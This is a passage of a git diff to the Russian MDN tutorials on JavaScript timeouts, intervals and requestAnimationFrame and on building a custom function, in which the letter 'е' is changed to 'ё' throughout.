myGreeting = setTimeout(sayHi, 2000);</pre> const createClock = setInterval(displayTime, 1000);</pre> -<p>Как и <code>setTimeout ()</code>, <code>setInterval ()</code> возвращает определенное значение, которое вы можете использовать позже, когда вам нужно очистить интервал.</p> +<p>Как и <code>setTimeout ()</code>, <code>setInterval ()</code> возвращает определённое значение, которое вы можете использовать позже, когда вам нужно очистить интервал.</p> <h3 id="Очистка_интервала">Очистка интервала</h3> @@ -138,14 +138,14 @@ clearInterval(myInterval);</pre> <h4 id="Активное_обучение_Создание_собственного_секундомера!">Активное обучение: Создание собственного секундомера!</h4> -<p>Учитывая все вышесказанное, у нас есть для вас задача. Возьмите копию нашего примера <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">setInterval-clock.html</a></code> , и измените ее так, чтобы создать свой собственный простой секундомер.</p> +<p>Учитывая все вышесказанное, у нас есть для вас задача. Возьмите копию нашего примера <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">setInterval-clock.html</a></code> , и измените её так, чтобы создать свой собственный простой секундомер.</p> <p>Вам нужно отображать время, как и раньше, но в этом примере вам нужно:</p> <ul> <li>Кнопка "Start" для запуска секундомера.</li> <li>Кнопка "Stop" для паузы/остановки.</li> - <li>Кнопка "Reset", чтобы сбросить счетчик времени на <code>0</code>.</li> + <li>Кнопка "Reset", чтобы сбросить счётчик времени на <code>0</code>.</li> <li>Дисплей времени, чтобы отображать количество прошедших секунд а не фактическое время.</li> </ul> @@ -155,17 +155,17 @@ clearInterval(myInterval);</pre> <li>Вы можете структурировать и стилизовать разметку кнопок по своему усмотрению; просто убедитесь, что вы используете семантический HTML с кавычками, которые позволяют захватывать ссылки на кнопки с помощью JavaScript.</li> <li>Вероятно, вы захотите создать переменную, которая начинается с 0, а затем увеличивается на единицу каждую секунду с использованием постоянного цикла.</li> <li>Этот пример проще создать без использования объекта Date (), как мы это делали в нашей версии, но он будет менее точен - вы не можете гарантировать, что колбэк сработает ровно через 1000 мс. Более точным способом было бы запустить startTime = Date.now (), чтобы получить метку времени, когда пользователь нажал кнопку запуска, а затем выполнить Date.now () - startTime, чтобы получить количество миллисекунд после того, как была нажата кнопка запуска .</li> - <li>Вам также нужно рассчитать количество часов, минут и секунд как отдельные значения, а затем отображать их вместе в строке после каждой итерации цикла. На втором счетчике вы можете отработать каждую из них.</li> + <li>Вам также нужно рассчитать количество часов, минут и секунд как отдельные значения, а затем отображать их вместе в строке после каждой итерации цикла. На втором счётчике вы можете отработать каждую из них.</li> <li>Как вы могли бы их рассчитать? Подумайте об этом: <ul> <li>В одном часе <code>3600 </code>секунд.</li> - <li>Количество минут - это количество секунд, оставшееся после вычитания всех часов, разделенное на 60.</li> + <li>Количество минут - это количество секунд, оставшееся после вычитания всех часов, разделённое на 60.</li> <li>Количество секунд будет количеством секунд, оставшихся после вычитания всех минут.</li> </ul> </li> <li>Вам необходимо включить начальный ноль в отображаемые значения, если сумма меньше <code>10</code>, чтобы они больше походили на традиционные часы.</li> - <li>Чтобы приостановить секундомер, вам нужно очистить интервал. Чтобы сбросить его, вам нудно установить счетчик обратно на <code>0</code>, очистить интервал, а затем немедленно обновить отображение.</li> - <li>Вероятно, вам следует отключить кнопку запуска после ее нажатия один раз и снова включить ее после того, как вы остановили / сбросили ее. В противном случае многократное нажатие кнопки запуска приведет к применению нескольких <code>setInterval ()</code> к часам, что приведет к неправильному поведению.</li> + <li>Чтобы приостановить секундомер, вам нужно очистить интервал. Чтобы сбросить его, вам нудно установить счётчик обратно на <code>0</code>, очистить интервал, а затем немедленно обновить отображение.</li> + <li>Вероятно, вам следует отключить кнопку запуска после её нажатия один раз и снова включить её после того, как вы остановили / сбросили её. В противном случае многократное нажатие кнопки запуска приведёт к применению нескольких <code>setInterval ()</code> к часам, что приведёт к неправильному поведению.</li> </ul> <div class="blockIndicator note"> @@ -178,9 +178,9 @@ clearInterval(myInterval);</pre> <h3 id="Рекурсивные_таймауты">Рекурсивные таймауты</h3> -<p>Есть еще один способ использования <code>setTimeout ()</code>: вы можете вызвать его рекурсивно для повторного запуска одного и того же кода вместо использования <code>setInterval ()</code>.</p> +<p>Есть ещё один способ использования <code>setTimeout ()</code>: вы можете вызвать его рекурсивно для повторного запуска одного и того же кода вместо использования <code>setInterval ()</code>.</p> -<p>В приведенном ниже примере используется рекурсивный setTimeout () для запуска переданной функции каждые 100 миллисекунд:</p> +<p>В приведённом ниже примере используется рекурсивный setTimeout () для запуска переданной функции каждые 100 миллисекунд:</p> <pre class="brush: js notranslate">let i = 1; @@ -190,7 +190,7 @@ setTimeout(function run() { setTimeout(run, 100); }, 100);</pre> -<p>Сравните приведенный выше пример со следующим - здесь используется <code>setInterval ()</code> для достижения того же эффекта:</p> +<p>Сравните приведённый выше пример со следующим - здесь используется <code>setInterval ()</code> для достижения того же эффекта:</p> <pre class="brush: js notranslate">let i = 1; @@ -201,10 +201,10 @@ setInterval(function run() { <h4 id="Чем_рекурсивный_setTimeout_отличается_от_setInterval">Чем рекурсивный <code>setTimeout ()</code> отличается от <code>setInterval () </code>?</h4> -<p>Разница между двумя версиями приведенного выше кода невелика.</p> +<p>Разница между двумя версиями приведённого выше кода невелика.</p> <ul> - <li>Рекурсивный <code>setTimeout ()</code> гарантирует такую же задержку между выполнениями. (Например, 100 мс в приведенном выше случае.) Код будет запущен, затем подождет 100 миллисекунд, прежде чем запустится снова, поэтому интервал будет одинаковым, независимо от того, сколько времени требуется для выполнения кода.</li> + <li>Рекурсивный <code>setTimeout ()</code> гарантирует такую же задержку между выполнениями. (Например, 100 мс в приведённом выше случае.) Код будет запущен, затем подождёт 100 миллисекунд, прежде чем запустится снова, поэтому интервал будет одинаковым, независимо от того, сколько времени требуется для выполнения кода.</li> <li>Пример с использованием <code>setInterval () </code>работает несколько иначе. Выбранный вами интервал включает время, затрачиваемое на выполнение кода, который вы хотите запустить. Предположим, что выполнение кода занимает <code>40 </code>миллисекунд - тогда интервал составляет всего <code>60 </code>миллисекунд.</li> <li>При рекурсивном использовании <code>setTimeout ()</code> каждая итерация может вычислять различную задержку перед запуском следующей итерации. Другими словами, значение второго параметра может указывать другое время в миллисекундах для ожидания перед повторным запуском кода.</li> </ul> @@ -215,7 +215,7 @@ setInterval(function run() { <p>Использование 0 в качестве значения для <code>setTimeout ()</code> позволяет планировать выполнение указанной колбэк-функции как можно скорее, но только после того, как будет запущен основной поток кода.</p> -<p>Например, код приведенный ниже (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">рабочий код</a>) выводит alert содержащий <code>"Hello"</code>, затем alert содержащий <code>"World"</code> как только вы нажмете ОК в первом alert.</p> +<p>Например, код приведённый ниже (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">рабочий код</a>) выводит alert содержащий <code>"Hello"</code>, затем alert содержащий <code>"World"</code> как только вы нажмёте ОК в первом alert.</p> <pre class="brush: js notranslate">setTimeout(function() { alert('World'); @@ -250,7 +250,7 @@ alert('Hello');</pre> draw();</pre> -<p>Идея состоит в том, чтобы определить функцию, в которой ваша анимация обновляется (например, ваши спрайты перемещаются, счет обновляется, данные обновляются или что-то еще). Затем вы вызываете его, чтобы начать процесс. В конце функционального блока вы вызываете <code>requestAnimationFrame ()</code> со ссылкой на функцию, переданной в качестве параметра, и это дает браузеру указание вызвать функцию снова при следующей перерисовке дисплея. Затем он выполняется непрерывно, поскольку код рекурсивно вызывает <code>requestAnimationFrame ().</code></p> +<p>Идея состоит в том, чтобы определить функцию, в которой ваша анимация обновляется (например, ваши спрайты перемещаются, счёт обновляется, данные обновляются или что-то ещё). Затем вы вызываете его, чтобы начать процесс. В конце функционального блока вы вызываете <code>requestAnimationFrame ()</code> со ссылкой на функцию, переданной в качестве параметра, и это даёт браузеру указание вызвать функцию снова при следующей перерисовке дисплея. Затем он выполняется непрерывно, поскольку код рекурсивно вызывает <code>requestAnimationFrame ().</code></p> <div class="blockIndicator note"> <p><strong>Note</strong>: Если вы хотите выполнить простое постоянное анимирование DOM , <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Анимация</a> вероятно будет быстрее. Она вычисляется непосредственно внутренним кодом браузера, а не JavaScript.</p> @@ -264,13 +264,13 @@ draw();</pre> <p>Поскольку большинство экранов имеют частоту обновления 60 Гц, максимальная частота кадров, к которой вы можете стремиться, составляет 60 кадров в секунду (FPS) при работе с веб-браузерами. Однако большее количество кадров означает больше обработки, которая часто может вызывать заикание и пропуски, также известные как пропадание кадров или заедание.</p> -<p>Если у вас есть монитор с частотой обновления 60 Гц и вы хотите достичь 60 кадров в секунду, у вас есть около 16,7 миллисекунд <code>(1000/60)</code> для выполнения кода анимации для рендеринга каждого кадра. Это напоминание о том, что вам нужно помнить об объеме кода, который вы пытаетесь запустить во время каждого прохождения цикла анимации.</p> +<p>Если у вас есть монитор с частотой обновления 60 Гц и вы хотите достичь 60 кадров в секунду, у вас есть около 16,7 миллисекунд <code>(1000/60)</code> для выполнения кода анимации для рендеринга каждого кадра. Это напоминание о том, что вам нужно помнить об объёме кода, который вы пытаетесь запустить во время каждого прохождения цикла анимации.</p> -<p><code>requestAnimationFrame ()</code> всегда пытается приблизиться к этому волшебному значению 60 FPS, насколько это возможно. Иногда это невозможно - если у вас действительно сложная анимация и вы запускаете ее на медленном компьютере, частота кадров будет меньше. Во всех случаях<code> requestAnimationFrame ()</code> всегда будет делать все возможное с тем, что у него есть.</p> +<p><code>requestAnimationFrame ()</code> всегда пытается приблизиться к этому волшебному значению 60 FPS, насколько это возможно. Иногда это невозможно - если у вас действительно сложная анимация и вы запускаете её на медленном компьютере, частота кадров будет меньше. Во всех случаях<code> requestAnimationFrame ()</code> всегда будет делать все возможное с тем, что у него есть.</p> <h3 id="Чем_отличается_requestAnimationFrame_от_setInterval_and_setTimeout">Чем отличается requestAnimationFrame() от setInterval() and setTimeout()?</h3> -<p>Давайте поговорим еще немного о том, чем метод <code>requestAnimationFrame ()</code> отличается от других методов, используемых ранее. Глядя на наш код сверху:</p> +<p>Давайте поговорим ещё немного о том, чем метод <code>requestAnimationFrame ()</code> отличается от других методов, используемых ранее. Глядя на наш код сверху:</p> <pre class="brush: js notranslate">function draw() { // Drawing code goes here @@ -295,7 +295,7 @@ setInterval(draw, 17);</pre> <p>Фактическому колбэку, переданному в функцию <code>requestAnimationFrame ()</code>, также может быть задан параметр: значение отметки времени, которое представляет время с момента начала работы <code>requestAnimationFrame ().</code></p> -<p>Это полезно, поскольку позволяет запускать вещи в определенное время и в постоянном темпе, независимо от того, насколько быстрым или медленным может быть ваше устройство. Общий шаблон, который вы бы использовали, выглядит примерно так:</p> +<p>Это полезно, поскольку позволяет запускать вещи в определённое время и в постоянном темпе, независимо от того, насколько быстрым или медленным может быть ваше устройство. Общий шаблон, который вы бы использовали, выглядит примерно так:</p> <pre class="brush: js notranslate">let startTime = null; @@ -321,7 +321,7 @@ draw();</pre> <h3 id="Простой_пример">Простой пример</h3> -<p>Хватит теории! Давайте выполним упражнение с использованием <code>requestAnimationFrame()</code> . Создадим простую анимацию "spinner animation"—вы могли ее видеть в приложениях когда происходят задержки при ответе с сервера и т.п..</p> +<p>Хватит теории! Давайте выполним упражнение с использованием <code>requestAnimationFrame()</code> . Создадим простую анимацию "spinner animation"—вы могли её видеть в приложениях когда происходят задержки при ответе с сервера и т.п..</p> <div class="blockIndicator note"> <p><strong>Note</strong>: Для такой простой анимации, вам следовало бы использовать CSS . Однако такой вид анимации очень полезен для демонстрации <code>requestAnimationFrame()</code> , вы скорее всего будете использовать этот метод когда делаете что-то более сложное, например обновление отображения игры в каждом кадре.</p> @@ -376,7 +376,7 @@ let rAF; }</pre> </li> <li> - <p>Внутри <code>draw ()</code> добавьте следующие строки. Они определят время начала, если оно еще не определено (это произойдет только на первой итерации цикла), и установят для параметра <code>rotateCount</code> значение для поворота счетчика (текущая временная метка, возьмите начальную временную метку, разделенную на три, чтобы замедлиться):</p> + <p>Внутри <code>draw ()</code> добавьте следующие строки. Они определят время начала, если оно ещё не определено (это произойдёт только на первой итерации цикла), и установят для параметра <code>rotateCount</code> значение для поворота счётчика (текущая временная метка, возьмите начальную временную метку, разделённую на три, чтобы замедлиться):</p> <pre class="brush: js notranslate"> if (!startTime) { startTime = timestamp; @@ -396,7 +396,7 @@ let rAF; <pre class="brush: js notranslate">spinner.style.transform = `rotate(${rotateCount}deg)`;</pre> </li> <li> - <p>В самом низу внутри функции <em>draw ()</em> вставьте следующую строку. Это ключ ко всей операции - вы устанавливаете для переменной, определенной ранее, активный вызов<em> requestAnimation ()</em>, который принимает функцию <em>draw ()</em> в качестве своего параметра. Это запускает анимацию, постоянно выполняя функцию <em>draw ()</em> со скоростью, близкой к 60 FPS.</p> + <p>В самом низу внутри функции <em>draw ()</em> вставьте следующую строку. Это ключ ко всей операции - вы устанавливаете для переменной, определённой ранее, активный вызов<em> requestAnimation ()</em>, который принимает функцию <em>draw ()</em> в качестве своего параметра. Это запускает анимацию, постоянно выполняя функцию <em>draw ()</em> со скоростью, близкой к 60 FPS.</p> <pre class="brush: js notranslate">rAF = requestAnimationFrame(draw);</pre> </li> @@ -421,13 +421,13 @@ let rAF; <h3 id="Активное_обучение_запуск_и_остановка_нашей_анимации">Активное обучение: запуск и остановка нашей анимации</h3> -<p>В этом упражнении мы хотели бы, чтобы вы протестировали метод <code>cancelAnimationFrame ()</code>, взяв наш предыдущий пример и обновив его, добавив обработчик событий для запуска и остановки счетчика при щелчке мышью в любом месте страницы.</p> +<p>В этом упражнении мы хотели бы, чтобы вы протестировали метод <code>cancelAnimationFrame ()</code>, взяв наш предыдущий пример и обновив его, добавив обработчик событий для запуска и остановки счётчика при щелчке мышью в любом месте страницы.</p> <p>Подсказки:</p> <ul> <li>Обработчик события щелчка можно добавить к большинству элементов, включая документ <code><body></code>. Имеет смысл поместить его в элемент <code><body></code>, если вы хотите максимизировать интерактивную область - событие всплывает до его дочерних элементов.</li> - <li>Вы захотите добавить переменную отслеживания, чтобы проверить, вращается ли счетчик или нет, очистив кадр анимации, если он есть, и снова вызвать его, если это не так.</li> + <li>Вы захотите добавить переменную отслеживания, чтобы проверить, вращается ли счётчик или нет, очистив кадр анимации, если он есть, и снова вызвать его, если это не так.</li> </ul> <div class="blockIndicator note"> @@ -436,9 +436,9 @@ let rAF; <h3 id="Регулировка_анимации_requestAnimationFrame">Регулировка анимации <code>requestAnimationFrame()</code> </h3> -<p>Одним из ограничений <code>requestAnimationFrame ()</code> является то, что вы не можете выбирать частоту кадров. В большинстве случаев это не проблема, так как обычно вы хотите, чтобы ваша анимация работала как можно плавное. Но как насчет того, чтобы создать олдскульную 8-битную анимацию?</p> +<p>Одним из ограничений <code>requestAnimationFrame ()</code> является то, что вы не можете выбирать частоту кадров. В большинстве случаев это не проблема, так как обычно вы хотите, чтобы ваша анимация работала как можно плавное. Но как насчёт того, чтобы создать олдскульную 8-битную анимацию?</p> -<p>Это было проблемой, например в анимации ходьбы, вдохновленной островом обезьян, из статьи <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing Graphics</a>:</p> +<p>Это было проблемой, например в анимации ходьбы, вдохновлённой островом обезьян, из статьи <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing Graphics</a>:</p> <p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p> @@ -466,13 +466,13 @@ let rAF; <p>Это код, который вычисляет, как обновлять позицию в каждом кадре анимации.</p> -<p>Метод, который вы используете для регулирования анимации, будет зависеть от вашего конкретного кода. Например, в предыдущем примере счетчика вы могли заставить его двигаться медленнее, увеличивая rotateCount только на единицу в каждом кадре вместо двух.</p> +<p>Метод, который вы используете для регулирования анимации, будет зависеть от вашего конкретного кода. Например, в предыдущем примере счётчика вы могли заставить его двигаться медленнее, увеличивая rotateCount только на единицу в каждом кадре вместо двух.</p> <h2 id="Активное_обучение_игра_на_реакцию">Активное обучение: игра на реакцию</h2> <p>В последнем разделе этой статьи вы создадите игру на реакцию для двух игроков. В игре будет два игрока, один из которых управляет игрой с помощью клавиши <kbd>A</kbd>, а другой - с помощью клавиши<kbd> L</kbd>.</p> -<p>При нажатии кнопки «Start» счетчик, подобный тому, что мы видели ранее, отображается в течение случайного промежутка времени от 5 до 10 секунд. По истечении этого времени появится сообщение «PLAYERS GO !!» - как только это произойдет, первый игрок, который нажмет свою кнопку управления, выиграет игру.</p> +<p>При нажатии кнопки «Start» счётчик, подобный тому, что мы видели ранее, отображается в течение случайного промежутка времени от 5 до 10 секунд. По истечении этого времени появится сообщение «PLAYERS GO !!» - как только это произойдёт, первый игрок, который нажмёт свою кнопку управления, выиграет игру.</p> <p>{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}</p> @@ -480,7 +480,7 @@ let rAF; <ol> <li> - <p>Прежде всего, скачайте <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html">стартовый файл</a>. Он содержит законченную структуру HTML и стили CSS, что дает нам игровую доску, которая показывает информацию двух игроков (как показано выше), но с счетчиком и параграфом результатов, отображаемыми друг над другом. Вам нужно просто написать JavaScript код.</p> + <p>Прежде всего, скачайте <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game-starter.html">стартовый файл</a>. Он содержит законченную структуру HTML и стили CSS, что даёт нам игровую доску, которая показывает информацию двух игроков (как показано выше), но с счётчиком и параграфом результатов, отображаемыми друг над другом. Вам нужно просто написать JavaScript код.</p> </li> <li> <p>Внутри пустого элемента {{htmlelement("script")}} на вашей странице, начните с добавления следующих строк кода, которые определяют некоторые переменные и константы, которые вам понадобятся в дальнейшем:</p> @@ -498,8 +498,8 @@ const result = document.querySelector('.result');</pre> <ol> <li>Ссылка на спиннер, чтобы вы могли его анимировать.</li> <li>Ссылка на элемент {{htmlelement("div")}} содержащий спиннер, используемый для отображения и скрытия.</li> - <li>Счетчик поворотов. Он определяет, на сколько вы хотите показывать вращение спиннера на каждом кадре анимации.</li> - <li>Нулевое время начала. Это будет заполнено временем начала, когда счетчик начнет вращаться.</li> + <li>Счётчик поворотов. Он определяет, на сколько вы хотите показывать вращение спиннера на каждом кадре анимации.</li> + <li>Нулевое время начала. Это будет заполнено временем начала, когда счётчик начнёт вращаться.</li> <li>Неинициализированная переменная для последующего хранения вызова {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} который анимирует спиннер.</li> <li>Ссылка на кнопку Start .</li> <li>Ссылка на параграф результатов.</li> @@ -514,7 +514,7 @@ const result = document.querySelector('.result');</pre> }</pre> </li> <li> - <p>Затем добавьте функцию draw(), которая анимирует спиннер. Это очень похоже на версию из предыдущего примера простого счетчика:</p> + <p>Затем добавьте функцию draw(), которая анимирует спиннер. Это очень похоже на версию из предыдущего примера простого счётчика:</p> <pre class="brush: js notranslate">function draw(timestamp) { if(!startTime) { @@ -532,13 +532,13 @@ const result = document.querySelector('.result');</pre> }</pre> </li> <li> - <p>Теперь пришло время настроить начальное состояние приложения при первой загрузке страницы. Добавьте следующие две строки, которые просто скрывают абзац результатов и контейнер счетчика с помощью <code>display: none</code> ;.</p> + <p>Теперь пришло время настроить начальное состояние приложения при первой загрузке страницы. Добавьте следующие две строки, которые просто скрывают абзац результатов и контейнер счётчика с помощью <code>display: none</code> ;.</p> <pre class="brush: js notranslate">result.style.display = 'none'; spinnerContainer.style.display = 'none';</pre> </li> <li> - <p>Затем определите функцию<code> reset ()</code>, которая возвращает приложение в исходное состояние, необходимое для повторного запуска игры после ее завершения. Добавьте в конец кода следующее:</p> + <p>Затем определите функцию<code> reset ()</code>, которая возвращает приложение в исходное состояние, необходимое для повторного запуска игры после её завершения. Добавьте в конец кода следующее:</p> <pre class="brush: js notranslate">function reset() { btn.style.display = 'block'; @@ -547,7 +547,7 @@ spinnerContainer.style.display = 'none';</pre> }</pre> </li> <li> - <p>Хорошо, хватит подготовки! Пришло время сделать игру доступной! Добавьте в свой код следующий блок. Функция <code>start ()</code> вызывает <code>draw ()</code>, чтобы запустить вращение спиннера и отобразить его в пользовательском интерфейсе, скрыть кнопку Start, чтобы вы не могли испортить игру, запустив ее несколько раз одновременно, и запускает вызов <code>setTimeout ()</code>, который выполняется функция <code>setEndgame ()</code> по прошествии случайного интервала от 5 до 10 секунд. Следующий блок также добавляет обработчик событий к вашей кнопке для запуска функции <code>start ()</code> при ее нажатии.</p> + <p>Хорошо, хватит подготовки! Пришло время сделать игру доступной! Добавьте в свой код следующий блок. Функция <code>start ()</code> вызывает <code>draw ()</code>, чтобы запустить вращение спиннера и отобразить его в пользовательском интерфейсе, скрыть кнопку Start, чтобы вы не могли испортить игру, запустив её несколько раз одновременно, и запускает вызов <code>setTimeout ()</code>, который выполняется функция <code>setEndgame ()</code> по прошествии случайного интервала от 5 до 10 секунд. Следующий блок также добавляет обработчик событий к вашей кнопке для запуска функции <code>start ()</code> при её нажатии.</p> <pre class="brush: js notranslate">btn.addEventListener('click', start); @@ -561,7 +561,7 @@ function start() { <div class="blockIndicator note"> <p><strong>Note</strong>: Вы увидите, что этот пример вызывает <code>setTimeout()</code> без сохранения возвращаемого значения. (не <code>let myTimeout = setTimeout(functionName, interval)</code>.) </p> - <p>Это прекрасно работает, если вам не нужно очищать интервал / тайм-аут в любой момент. Если вы это сделаете, вам нужно будет сохранить возвращенный идентификатор!</p> + <p>Это прекрасно работает, если вам не нужно очищать интервал / тайм-аут в любой момент. Если вы это сделаете, вам нужно будет сохранить возвращённый идентификатор!</p> </div> <p>Конечным результатом предыдущего кода является то, что при нажатии кнопки «Start» отображается спиннер, и игроки вынуждены ждать произвольное количество времени, прежде чем их попросят нажать их кнопку. Эта последняя часть обрабатывается функцией <code>setEndgame ()</code>, которую вы определите позже.</p> @@ -602,7 +602,7 @@ function start() { <li>Во-первых, отмените анимацию спиннера с помощью {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}} (всегда полезно очистить ненужные процессы), и скройте контейнер счетчика.</li> <li>Затем, отобразите абзац с результатами и установите для его текстового содержимого значение "PLAYERS GO!!" чтобы сообщить игрокам, что теперь они могут нажать свою кнопку, чтобы победить.</li> <li>Прикрепите к документу обработчик событий <code><a href="/en-US/docs/Web/API/Document/keydown_event">keydown</a></code> . При нажатии любой кнопки запускается функция <code>keyHandler()</code>.</li> - <li>Внутри <code>keyHandler()</code>, код включает объект события в качестве параметра (представленного <code>e</code>) — его свойство {{domxref("KeyboardEvent.key", "key")}} содержит только что нажатую клавишу, и вы можете использовать это для ответа на определенные нажатия клавиш определенными действиями.</li> + <li>Внутри <code>keyHandler()</code>, код включает объект события в качестве параметра (представленного <code>e</code>) — его свойство {{domxref("KeyboardEvent.key", "key")}} содержит только что нажатую клавишу, и вы можете использовать это для ответа на определённые нажатия клавиш определёнными действиями.</li> <li>Установите для переменной <code>isOver</code> значение false, чтобы мы могли отслеживать, были ли нажаты правильные клавиши, чтобы игрок 1 или 2 выиграл. Мы не хотим, чтобы игра заканчивалась при нажатии неправильной клавиши.</li> <li>Регистрация <code>e.key</code> в консоли, это полезный способ узнать значение различных клавиш, которые вы нажимаете.</li> <li>Когда <code>e.key</code> принимает значение "a", отобразить сообщение о том, что Player 1 выиграл, а когда <code>e.key</code> это "l", отобразить сообщение о том, что Player 2 выиграл. (<strong>Note:</strong> Это будет работать только со строчными буквами a и l — если переданы прописные A или L , это считается другими клавишами!) Если была нажата одна из этих клавиш, установите для <code>isOver</code> значение <code>true</code>.</li> @@ -619,7 +619,7 @@ function start() { <h2 id="Заключение">Заключение</h2> -<p>Вот и все — все основы асинхронных циклов и интервалов рассмотрены в статье. Вы найдете эти методы полезными во многих ситуациях, но постарайтесь не злоупотреблять ими! Поскольку они по-прежнему выполняются в основном потоке, тяжелые и интенсивные колбэки (особенно те, которые управляют DOM) могут действительно замедлить страницу, если вы не будете осторожны.</p> +<p>Вот и все — все основы асинхронных циклов и интервалов рассмотрены в статье. Вы найдёте эти методы полезными во многих ситуациях, но постарайтесь не злоупотреблять ими! Поскольку они по-прежнему выполняются в основном потоке, тяжёлые и интенсивные колбэки (особенно те, которые управляют DOM) могут действительно замедлить страницу, если вы не будете осторожны.</p> <p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</p> @@ -628,7 +628,7 @@ function start() { <ul> <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">Основные понятия асинхронного программирования</a></li> <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Введение в асинхронный JavaScript</a></li> - <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Объединенный асинхронный JavaScript: Таймауты и интервалы</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Объединённый асинхронный JavaScript: Таймауты и интервалы</a></li> <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li> <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Сделайте асинхронное программирование легче с async и await</a></li> <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li> diff --git a/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html b/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html index f982970afe..b4fb0a262a 100644 --- a/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html +++ b/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html @@ -18,7 +18,7 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function </tr> <tr> <th scope="row">Задача:</th> - <td>Научить создавать пользовательской функции и объяснить еще несколько полезных деталей.</td> + <td>Научить создавать пользовательской функции и объяснить ещё несколько полезных деталей.</td> </tr> </tbody> </table> @@ -31,7 +31,7 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function <p>Функция <code>alert</code> принимает один аргумент - строку, которая отображается в окне сообщения на веб-странице Попробуйте изменить строку, чтобы изменить сообщение.</p> -<p>Функция <code>alert</code> ограничена: вы можете изменить текст сообщения, но не получится изменить его стиль, например, цвет, значок или что-то еще. Создадим сообщение, более интересное по стилю.</p> +<p>Функция <code>alert</code> ограничена: вы можете изменить текст сообщения, но не получится изменить его стиль, например, цвет, значок или что-то ещё. Создадим сообщение, более интересное по стилю.</p> <div class="note"> <p><strong>Примечание</strong>: Этот пример будет работать во всех современных браузерах, но стиль может выглядеть немного смешным в более старых браузерах. Мы рекомендуем вам выполнять это упражнение в современном браузере, таком как Firefox, Opera или Chrome.</p> @@ -39,10 +39,10 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function <h2 id="Основная_функция">Основная функция</h2> -<p>Для начала давайте соберем основную функцию.</p> +<p>Для начала давайте соберём основную функцию.</p> <div class="note"> -<p><strong>Примечание</strong>: Для согласований имен функций нужно следовать тем же правилам, что и <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Variables#Правила_именования_переменных">правила именования переменных</a>. Отличить имена функций от имен переменных просто: после имен функций указываются круглые скобки, а после имен переменных их нет.</p> +<p><strong>Примечание</strong>: Для согласований имён функций нужно следовать тем же правилам, что и <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Variables#Правила_именования_переменных">правила именования переменных</a>. Отличить имена функций от имён переменных просто: после имён функций указываются круглые скобки, а после имён переменных их нет.</p> </div> <ol> @@ -81,9 +81,9 @@ closeBtn.onclick = function() { <p>В следующем разделе используется другая функция DOM API, называемая {{domxref ("Document.createElement()")}}, применяется для создания элемента {{htmlelement ("div")}} и сохраняет ссылку на него в переменной, называемой <code>panel</code>. Этот элемент будет внешним контейнером нашего окна сообщений.</p> -<p>Затем мы используем еще одну функцию DOM API, называемую {{domxref ("Element.setAttribute()")}}, чтобы установить атрибут <code>class</code> на нашей панели со значением <code>msgBox</code>. Это упрощает стилизацию элемента. Если вы посмотрите на CSS на странице, вы увидите, что мы используем селектор класса <code>.msgBox</code> для стилизации окна сообщения и его содержимого.</p> +<p>Затем мы используем ещё одну функцию DOM API, называемую {{domxref ("Element.setAttribute()")}}, чтобы установить атрибут <code>class</code> на нашей панели со значением <code>msgBox</code>. Это упрощает стилизацию элемента. Если вы посмотрите на CSS на странице, вы увидите, что мы используем селектор класса <code>.msgBox</code> для стилизации окна сообщения и его содержимого.</p> -<p>Наконец, мы вызываем функцию DOM с именем {{domxref ("Node.appendChild()")}} в переменной <code>html</code>, которую мы сохранили ранее, которая вкладывает один элемент в другой как его дочерний элемент. Указываем панель <code><div></code> как дочерний элемент, который мы хотим вложить внутрь элемента <code><html></code>. То есть, когда мы создаем какой-то элемент, он не просто будет отображаться на странице сам по себе, нам нужно указать, куда его поместить.</p> +<p>Наконец, мы вызываем функцию DOM с именем {{domxref ("Node.appendChild()")}} в переменной <code>html</code>, которую мы сохранили ранее, которая вкладывает один элемент в другой как его дочерний элемент. Указываем панель <code><div></code> как дочерний элемент, который мы хотим вложить внутрь элемента <code><html></code>. То есть, когда мы создаём какой-то элемент, он не просто будет отображаться на странице сам по себе, нам нужно указать, куда его поместить.</p> <pre class="brush: js">var panel = document.createElement('div'); panel.setAttribute('class', 'msgBox'); @@ -101,7 +101,7 @@ panel.appendChild(closeBtn);</pre> <p>В заключении мы используем обработчик событий {{domxref ("GlobalEventHandlers.onclick")}}, чтобы при нажатии кнопки был запущен некоторый код для удаления всей панели со страницы, т.е. для закрытия окна 